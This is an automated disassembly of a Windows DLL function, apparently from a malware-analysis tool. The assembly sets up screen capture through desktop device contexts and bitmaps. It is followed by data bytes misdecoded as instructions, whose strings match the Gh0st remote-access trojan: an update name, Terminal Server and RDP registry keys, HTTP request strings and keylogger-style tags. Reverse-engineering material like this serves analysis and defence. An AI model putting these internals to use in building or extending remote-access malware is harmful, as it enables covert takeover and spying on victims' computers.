Function at 0x10007f50
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x1001185e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov dword [esi + 0x88], 0x10014594
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebx, [esp + 0x14]
lea edi, [esi + 0xcc]
mov ebp, 0x10
mov eax, dword [ebx]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [edi], eax
add ebx, 4
add edi, 4
dec ebp
jne 0x1000800b
mov ecx, dword [esp + 0x64]
xor ebp, ebp
mov dword [esp + 0x5c], ebp
mov dword [esi], 0x10014598
lea eax, [ecx - 1]
cmp eax, 0x1f
ja case.0x10008044.2
xor edx, edx
mov dl, byte [eax + 0x100081f8]
jmp dword [edx*4 + 0x100081f0]
mov dword [esi + 0x70], ecx
jmp 0x10008057
mov dword [esi + 0x70], 8
mov ecx, esi
call fcn.100088e0
test al, al
jne 0x10008078
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [esi + 0x10c], eax
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esi + 0x44], eax
mov dword [esi + 0x10], 0xcc0020
mov byte [esi + 4], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0x6c]
mov dword [esi + 0x14], eax
mov eax, 0x3e8
xor edx, edx
div ecx
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push ebp
mov dword [esi + 8], ecx
mov dword [esi + 0x18], eax
mov al, byte [esp + 0x6c]
mov byte [esi + 0xc], al
call edi
push 1
mov dword [esi + 0x28], eax
call edi
mov dword [esi + 0x2c], eax
mov eax, 0x20
cdq
idiv dword [esi + 0x70]
mov ecx, dword [esi + 0x44]
mov edi, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push ecx
mov dword [esi + 0x30], ebp
mov byte [esi + 0x24], al
call edi
mov edx, dword [esi + 0x44]
mov dword [esi + 0x4c], eax
push edx
call edi
push ebp
mov dword [esi + 0x80], eax
call edi
push ebp
mov dword [esi + 0x48], eax
call edi
mov ecx, dword [esi + 0x70]
mov dword [esi + 0x50], eax
mov eax, dword [esi + 0x28]
push 1
lea edi, [esi + 0x5c]
lea ebx, [esi + 0x60]
push eax
push ecx
mov ecx, esi
mov dword [edi], ebp
mov dword [ebx], ebp
call fcn.10008600
mov edx, dword [esi + 0x2c]
mov ecx, dword [esi + 0x70]
mov dword [esi + 0x64], eax
mov eax, dword [esi + 0x28]
push edx
push eax
push ecx
mov ecx, esi
call fcn.10008600
mov edx, dword [esi + 0x28]
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x70]
push 1
push edx
push eax
mov ecx, esi
call fcn.10008600
mov ecx, dword [esi + 0x64]
mov edx, dword [esi + 0x44]
push ebp
push ebp
push edi
mov edi, dword [sym.imp.GDI32.dll_CreateDIBSection]
push ebp
push ecx
push edx
mov dword [esi + 0x6c], eax
call edi
push ebp
mov dword [esi + 0x54], eax
push ebp
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x44]
push ebx
push ebp
push eax
push ecx
call edi
mov ecx, dword [esi + 0x44]
push ebp
lea edx, [esi + 0x78]
mov dword [esi + 0x58], eax
mov eax, dword [esi + 0x68]
push ebp
push edx
push ebp
push eax
push ecx
call edi
mov edx, dword [esi + 0x58]
mov edi, dword [sym.imp.GDI32.dll_SelectObject]
mov dword [esi + 0x84], eax
mov eax, dword [esi + 0x4c]
push edx
push eax
call edi
mov ecx, dword [esi + 0x54]
mov edx, dword [esi + 0x48]
push ecx
push edx
call edi
mov eax, dword [esi + 0x84]
mov ecx, dword [esi + 0x80]
push eax
push ecx
call edi
mov edx, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
push edx
push eax
push ebp
lea ecx, [esi + 0x34]
push ebp
push ecx
call dword [sym.imp.USER32.dll_SetRect]
mov edx, dword [esi + 0x68]
mov eax, dword [edx + 0x14]
shl eax, 1
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [esi + 0x68]
mov dword [esi + 0x1c], eax
xor edx, edx
add esp, 4
mov eax, dword [ecx + 0x14]
mov ecx, dword [esp + 0x54]
div dword [esi + 0x2c]
mov dword [esi + 0x20], ebp
pop edi
mov dword [esi + 0x74], eax
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 0xc
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
bound esp, qword [ebp + 0x6e]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 0x65], ah
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], dl
add byte [eax], al
pop esp
insb byte es:[edi], dx
jns 0x10018503
outsd dx, dword [esi]
jns 0x100184d2
popal
je str.Gh0st_Update
inc edi
push 0x20747330
push ebp
jo 0x10018515
popal
je 0x10018519
add byte [eax], al
add byte [eax], al
inc ecx
jo 0x1001852b
insb byte es:[edi], dx
imul esp, dword [ebx + 0x61], 0x6e6f6974
jae 0x10018521
imul esp, dword [ebp + 0x78], 0x726f6c70
js 0x10018536
pop esp
jae str.Hotkey
insb byte es:[edi], dx
insb byte es:[edi], dx
pop esp
outsd dx, dword [esi]
jo 0x10018540
outsb dx, byte [esi]
pop esp
arpl word [edi + 0x6d], bp
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
add byte fs:[eax], al
add byte [eax], al
push ebx
jns 0x1001855e
je 0x10018552
insd dword es:[edi], dx
add byte [eax], al
push ebx
arpl word gs:[ebp + 0x72], si
imul esi, dword [ecx + edi*2], 0x41000000
inc ecx
jo 0x1001856f
insb byte es:[edi], dx
imul esp, dword [ebx + 0x61], 0x6e6f6974
je 0x1001856e
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [ebx + 0x65], dl
push ebx
push ebx
push 0x6f647475
ja 0x10018580
push eax
jb 0x1001857e
jbe 0x10018580
insb byte es:[edi], dx
add byte gs:[0x4544], ch
inc esp
inc ebp
add byte gs:[0x4544], ch
inc esp
inc ebp
inc esi
inc ecx
push ebp
dec esp
push esp
pop esp
dec ebx
jns 0x1001858b
outsd dx, dword [esi]
popal
jb 0x10018591
and byte [ecx + 0x79], cl
outsd dx, dword [esi]
jne 0x100185a8
pop esp
push esp
outsd dx, dword [esi]
insb byte es:[di], dx
add byte gs:[eax + 0x6f], cl
dec eax
outsd dx, dword [esi]
dec eax
outsd dx, dword [esi]
je 0x100185ab
jns 0x10018543
add byte [edx], dh
add byte [eax], al
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x100185c4
jb 0x100185b9
outsb dx, byte [esi]
je 0x1001859a
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x100185cd
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x100185bd
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x100185d8
outsd dx, dword [esi]
insb byte es:[edi], dx
pop esp
push esp
jb 0x100185da
imul ebp, dword [esi + 0x61], 0x6553206c
outsb dx, byte [esi]
popal
insb byte es:[edi], dx
and byte [ebx + 0x65], dl
jb 0x100185ec
jb 0x100185d5
push edi
jae 0x100185d9
jb 0x100185e3
jo 0x100185f8
jo 0x100185f8
ja 0x100185e6
pop esp
pop esp
push esp
jae 0x100185e3
je 0x100185ec
jo 0x1001858b
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x10018608
jb 0x100185fd
outsb dx, byte [esi]
je 0x100185de
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x10018611
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x10018601
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001861c
outsd dx, dword [esi]
insb byte es:[edi], dx
pop esp
push esp
jb 0x1001861e
imul ebp, dword [esi + 0x61], 0x6553206c
jb 0x10018630
jbe 0x10018620
jb 0x10018619
jb 0x10018619
push edi
imul ebp, dword [esi + 0x53], 0x69746174
outsd dx, dword [esi]
outsb dx, byte [esi]
jae 0x10018625
imul ebp, dword [edi + 0x6e], 0x44525c73
push edx
inc esp
push eax
sub eax, 0x706354
push esp
arpl word [eax], si
add byte [eax], al
add byte [ebx + 0x59], dl
push ebx
pop ecx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x10018650
jb 0x10018645
outsb dx, byte [esi]
je 0x10018626
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x10018659
jb 0x10018657
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x10018649
pop esp
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x10018664
outsd dx, dword [esi]
insb byte es:[edi], dx
pop esp
push esp
jb 0x10018666
insd dword es:[edi], dx
imul ebp, dword [esi + 0x61], 0x6553206c
and byte [ebx + 0x65], dl
jb 0x10018678
jbe 0x10018668
jb 0x10018661
jb 0x10018661
push edx
inc esp
push eax
push esp
arpl word [eax], si
push eax
outsd dx, dword [esi]
jb 0x10018684
dec esi
jne 0x10018680
bound esp, qword [ebp + 0x72]
add byte [eax], al
inc sp
inc esp
outsb dx, byte gs:[esi]
jns 0x10018672
push ebx
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[ecx + ebp*2 + 0x6f], si
je str.SYSTEMCurrentControlSetControlTerminal_Server
imul ebp, dword [edi + 0x6e], 0x53000073
push ebx
pop ecx
outsd dx, dword [esi]
outsb dx, byte [esi]
jae 0x1001862b
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x100186a8
jb 0x1001869d
outsb dx, byte [esi]
je 0x1001867e
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x100186b1
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x100186a1
push ebx
jb 0x100186bf
imul esp, dword [ebx + 0x65], 0x65545c73
jb 0x100186bf
push ebx
jb 0x100186cc
imul esp, dword [ebx + 0x65], 0x53000000
push ebx
arpl word [ebp], sp
add byte [eax], al
push ebx
add byte [eax], al
add byte [ebx + 0x59], dl
push ebx
pop ecx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x100186d8
jb 0x100186cd
outsb dx, byte [esi]
je 0x100186ae
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x100186e1
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x100186d1
push ebx
jb 0x100186ef
jbe 0x100186e3
imul esp, dword [ebx + 0x65], 0x65545c73
arpl word [ebp + 0x73], sp
pop esp
push esp
jb 0x100186ef
jb 0x100186ef
inc esp
inc esp
add byte [eax], al
add byte [eax], al
push ebx
je 0x100186ec
jb 0x10018701
add byte [eax], al
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x1001870c
jb 0x10018701
outsb dx, byte [esi]
je 0x100186e2
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x10018715
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x10018705
pop esp
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je str.SOFTWAREPoliciesMicrosoftWindowsInstaller
outsd dx, dword [esi]
insb byte es:[edi], dx
pop esp
push esp
jb 0x10018722
imul ebp, dword [esi + 0x61], 0x6553206c
jb 0x10018734
jb 0x100186c1
jb 0x100186c1
add byte [eax], al
add byte [ebx + edx*2 + 0x45], dl
push esp
push ebx
inc ebp
outsb dx, byte [esi]
popal
bound ebp, qword [ebp + 0x64]
add byte fs:[eax], al
add byte [eax], al
add byte [ebx + 0x4f], dl
push ebx
dec edi
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x1001873f
pop esp
push edi
imul ebp, dword [esi + 0x64], 0x2073776f
dec esi
push esp
pop esp
inc ebx
jne 0x10018763
jb 0x10018758
outsb dx, byte [esi]
je 0x1001874c
jb 0x1001876c
imul ebp, dword [edi + 0x6e], 0x6e69575c
insb byte es:[edi], dx
outsd dx, dword [esi]
outsd dx, dword [si]
outsb dx, byte [esi]
add byte [eax], al
add byte [ebx + 0x68], dl
push ebx
invalid
jne 0x10018780
outsd dx, dword fs:[esi]
ja 0x1001877e
push edi
imul esi, dword [eax + ebp*2 + 0x6f], 0x6f4c7475
jne 0x1001878b
dec esp
outsd dx, dword [esi]
outsd dx, dword [si]
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
push eax
outsd dx, dword [esi]
insb byte es:[edi], dx
imul esp, dword [ebx + 0x69], 0x4d5c7365
imul esp, dword [ebx + 0x72], 0x666f736f
je str.Enabled
arpl word [edx + 0x6f], si
jae 0x100187a8
je str.Enabled
push edi
imul ebp, dword [esi + 0x64], 0x5c73776f
outsd dx, dword fs:[esi]
ja 0x100187b6
pop esp
dec ecx
outsb dx, byte [esi]
jae 0x100187bc
popal
insb byte es:[edi], dx
insb byte es:[edi], dx
jb 0x1001874e
jb 0x1001874e
add byte [eax], al
inc ebp
outsb dx, byte [esi]
popal
bound ebp, qword [ebp + 0x41]
insd dword es:[edi], dx
insd dword es:[edi], dx
imul ebp, dword [esi + 0x54], 0x6d655253
outsd dx, dword [esi]
je str.ConnectGroup
add byte [ebx + 0x4f], dl
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x100187d3
push edi
imul ebp, dword [esi + 0x64], 0x5c73776f
pop esp
inc ebx
jne 0x100187f4
jb 0x100187e9
outsb dx, byte [esi]
je 0x100187dd
jb 0x100187fd
imul ebp, dword [edi + 0x6e], 0x74656e5c
arpl word [ecx + 0x63], sp
push 0x45000065
inc ebp
outsd dx, dword [esi]
outsb dx, byte [esi]
pop esp
outsb dx, byte [esi]
je 0x100187f5
popal
arpl word [eax + 0x65], bp
add byte [eax], al
inc ebp
outsb dx, byte [esi]
popal
bound ebp, qword [ebp + 0x64]
add byte [eax], dh
add byte [eax], al
add byte [eax + 0x6f], cl
dec eax
outsd dx, dword [esi]
jae 0x1001881c
add byte [eax], al
add byte [eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x10018828
jb 0x1001881d
outsb dx, byte [esi]
je 0x100187fe
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x10018831
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x10018821
and eax, 0x6f430073
inc ebx
outsd dx, dword [esi]
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[edi + eax*2 + 0x72], si
outsd dx, dword [esi]
jne 0x10018844
jo 0x100187d5
add byte [eax], al
add byte [eax], al
push ebx
inc esp
add byte [eax], al
add byte [ebx + 0x65], dl
push ebx
inc esp
bound esi, qword gs:[ebp + 0x67]
jne 0x10018846
push eax
jb 0x1001884b
jbe 0x1001884d
insb byte es:[edi], dx
add byte gs:[bx + si], al
add byte [eax], al
inc ebx
insb byte es:[edi], dx
add byte [eax], al
add byte [ebx + 0x6c], al
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x10018856
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte gs:[ebx + 0x6c], dl
push ebx
insb byte es:[edi], dx
jo 0x100187fe
add byte [eax], al
add byte [ebx + 0x65], ch
imul esp, dword [ebp + 0x72], 0x6e
add byte [eax], al
imul esp, dword [ebp + 0x72], 0x6e
insb byte es:[edi], dx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
push ebx
dec eax
inc esp
insb byte es:[edi], dx
je 0x1001887d
dec ebx
jns 0x1001885d
add byte [eax], al
add byte [eax], al
jae 0x1001888a
add byte [eax], al
add byte [ebx + 0x68], dh
jae 0x1001888a
push 0x7061776c
imul ebp, dword [esi], 0x6c6c64
inc ebx
insb byte es:[edi], dx
insb byte es:[edi], dx
ja 0x10018886
jo 0x10018890
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ebx + 0x6c], al
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x10018896
push ebx
jb 0x100188ab
imul esp, dword [ebx + 0x65], 0x646e6148
insb byte es:[edi], dx
add byte gs:[eax], al
inc esp
insb byte es:[edi], dx
je 0x100188ab
je 0x100188ab
push ebx
jb str.GET
imul esp, dword [ebx + 0x65], 0x53000000
push ebx
arpl word [ebp], sp
add byte [eax], al
push ebx
add byte [eax], al
add byte [ebx + 0x74], dl
push ebx
je 0x100188b4
je 0x100188b4
jb 0x100188c9
push ebx
jb 0x100188cf
imul esp, dword [ebx + 0x65], 0x41
inc ebx
outsd dx, dword [esi]
add byte [eax], al
add byte [ebx + 0x6f], al
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x100188d7
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
jb 0x100188e1
imul esp, dword [ebx + 0x65], 0x75510000
push ecx
invalid
jb 0x100188ee
push ebx
jb 0x100188ef
imul esp, dword [ebx + 0x65], 0x74617453
jne 0x100188f5
je 0x100188e0
je 0x100188f6
jae 0x10018883
add byte [eax], al
dec edi
jo 0x100188ec
add byte [edi + 0x70], cl
dec edi
invalid
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
push ebx
jb 0x10018902
jb 0x10018902
imul esp, dword [ebx + 0x65], 0x41
add byte [edi + 0x70], cl
dec edi
invalid
add byte [eax], al
add byte [eax], al
dec edi
jo 0x100188fc
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
push ebx
inc ebx
dec ebp
popal
outsb dx, byte [esi]
popal
jb 0x100188e3
add byte [eax], al
inc ebx
dec edi
dec esi
dec esi
inc ebp
inc ebx
push esp
and byte [eax], al
add byte [eax], al
add byte [eax + 0x4f], dl
push eax
dec edi
push ebx
push esp
and byte [eax], al
add byte [eax], al
dec eax
inc ebp
inc ecx
inc esp
and byte [eax], al
add byte [eax], al
inc edi
inc ebp
push esp
and byte [eax], al
add byte [eax], al
add byte [eax + 0x74], ch
invalid
je 0x1001893f
invalid
je 0x1001893f
jo 0x10018907
cmp ch, byte [edi]
das
das
add byte [esi + 0x6c], bl
pop esp
insb byte es:[edi], dx
jns 0x10018937
outsd dx, dword [esi]
jns 0x10018906
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
add byte [di], ah
and eax, 0x25642564
invalid
invalid
and eax, 0x25642564
and eax, 0x61622e64
imul eax, dword [eax], 0
and eax, 0x25642564
bound esp, qword cs:[ecx + 0x6b]
and eax, 0x2e642564
bound esp, qword [ecx + 0x6b]
add byte [eax], al
add byte [eax], al
push eax
push eax
add byte [eax + 0x50], dl
push eax
push eax
push eax
push eax
push eax
push eax
add byte [eax], al
or eax, 0x30255b0a
xor ah, byte [edi + ebp + 0x25]
xor byte [edx], dh
das
xor byte [edx], dh
das
and eax, 0x2f643230
xor ah, byte [edi + ebp + 0x25]
and eax, 0x30252064
xor ah, byte [edx + edi + 0x25]
xor byte [edx], dh
cmp ah, byte fs:[0x5d643230]
and byte fs:[0x3a643230], ah
and byte [0x3a643230], ah
and eax, 0x3a643230
and eax, 0x5d643230
and byte [eax], ch
and eax, 0xa0d2973
add byte [eax], al
pop ebp
add byte [eax], al
add byte [0x5f00000a], cl
pop edi
imul esp, dword [ecx + 0x73], 0x70
jb 0x100189a3
imul edi, dword [ecx], 0
push edx
inc ebp
inc edi
pop edi
inc edx
dec ecx
dec esi
inc ecx
push edx
pop ecx
add byte [eax], al
and eax, 0x7334322d
add byte [0x7334322d], ah
and eax, 0x7334322d
and byte [0x7335312d], ah
and byte [0x5200000a], cl
push edx
inc ebp
inc edi
pop edi
dec ebp
push ebp
dec esp
push esp
dec ecx
pop edi
push ebx
pop edx
add byte [eax], al
add byte [eax], al
and eax, 0x7334322d
and byte [0x7335312d], ah
and byte [eax], dh
js 0x10018994
js 0x10018999
and eax, 0xd202964
or al, byte [eax]
push edx
inc ebp
inc edi
pop edi
inc esp
push edi
dec edi
push edx
inc esp
add byte [eax], al
add byte [0x7334322d], ah
and eax, 0x7334322d
and byte [0x7335312d], ah
and byte [0xa0d2073], ah
add byte [eax], al
add byte [edx + 0x45], dl
push edx
inc ebp
or al, byte [eax]
add byte [eax], al
push edx
inc ebp
inc edi
pop edi
inc ebp
pop eax
push eax
inc ecx
dec esi
inc esp
pop edi
push ebx
pop edx
add byte [eax], al
add byte [edx + 0x45], dl
push edx
inc ebp
inc edi
pop edi
push ebx
pop edx
add byte [eax], al
pop ebx
and eax, 0xa0d5d73
add byte [eax], al
and eax, 0x5c000064
pop esp
arpl word [ebp + 0x64], bp
js 0x10018a29
add byte [eax], al
add byte [eax], al
inc ecx
inc edx
inc ebx
inc esp
inc ebp
inc esi
inc edi
dec eax
dec ecx
dec edx
dec ebx
dec esp
dec ebp
dec esi
dec edi
push eax
push ecx
push edx
push ebx
push esp
push ebp
push esi
push edi
pop eax
pop ecx
pop edx
popal
bound esp, qword [ebx + 0x64]
push 0x6a69
imul ebp, dword [ebp + ebp*2 + 0x6e], 0x6f
jo 0x10018a64
jb 0x10018a68
je 0x10018a6c
jbe 0x10018a70
js 0x10018a74
jp 0x10018a2d
xor dword [edx], esi
xor esi, dword [esi + 0x39383736]
sub ebp, dword [edi]
add byte [eax], al
add byte [eax], al
inc ecx
inc ecx
inc ecx
inc ecx
add byte [eax], al
add byte [eax], al
dec ebp
outsd dx, dword [esi]
jp 0x10018a81
insb byte es:[edi], dx
insb byte es:[edi], dx
popal
das
xor al, 0x2e
xor byte [eax], ah
sub byte [ebx + 0x6f], ah
insd dword es:[edi], dx
jo 0x10018a87
je 0x10018a91
bound ebp, qword [ebp + 0x29]
add byte [eax], al
add byte [eax], al
push 0x73707474
cmp ch, byte [edi]
insb byte es:[edi], dx
sub dword gs:[eax], eax
add byte [eax], al
add byte [eax + 0x74], ch
invalid
je 0x10018aa7
invalid
jae 0x10018a70
das
das
add byte [eax], al
add byte [eax], al
jle 0x10018a8b
dec eax
jp 0x10018a41
add byte [eax], al
add byte [eax + 0x41], cl
dec eax
inc ecx
push edx
inc esp
push edi
inc ecx
push edx
inc ebp
pop esp
inc esp
inc ebp
push ebx
inc ebx
push edx
dec ecx
push eax
push esp
dec ecx
dec edi
dec esi
pop esp
push ebx
jns 0x10018acf
je 0x10018ac3
insd dword es:[edi], dx
pop esp
inc ebx
outsb dx, byte gs:[esi]
je 0x10018ad7
jb 0x10018ac7
popal
insb byte es:[edi], dx
push eax
jb 0x10018ad9
arpl word [ebp + 0x73], sp
jae 0x10018ade
jae 0x10018ae1
outsd dx, dword [esi]
jb 0x10018acd
pop esp
xor byte [eax], al
add byte [0x5c000075], ah
pop esp
and eax, 0x5c000075
pop esp
pop esp
pop esp
push eax
push 0x63697379
popal
insb byte es:[edi], dx
arpl word [ecx + 0x6c], sp
inc esp
jb 0x10018af0
jbe 0x10018aee
xor byte [eax], al
add ah, al
lodsb al, byte [esi]
enter 0xffffffffffffb7cf, 0xffffffffffffffd6
salc
xlatb
jmp 0x10018a98
and eax, 0x25eccc73
invalid
jae 0x10018a6f
mov eax, dword [0xb1ca]
push edi
push edi
push edi
push edi
push edi
push edi
add byte [eax], al
push esi
push esi
push esi
push esi
push esi
push esi
add byte [eax], al
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
add byte [eax], al
inc edi
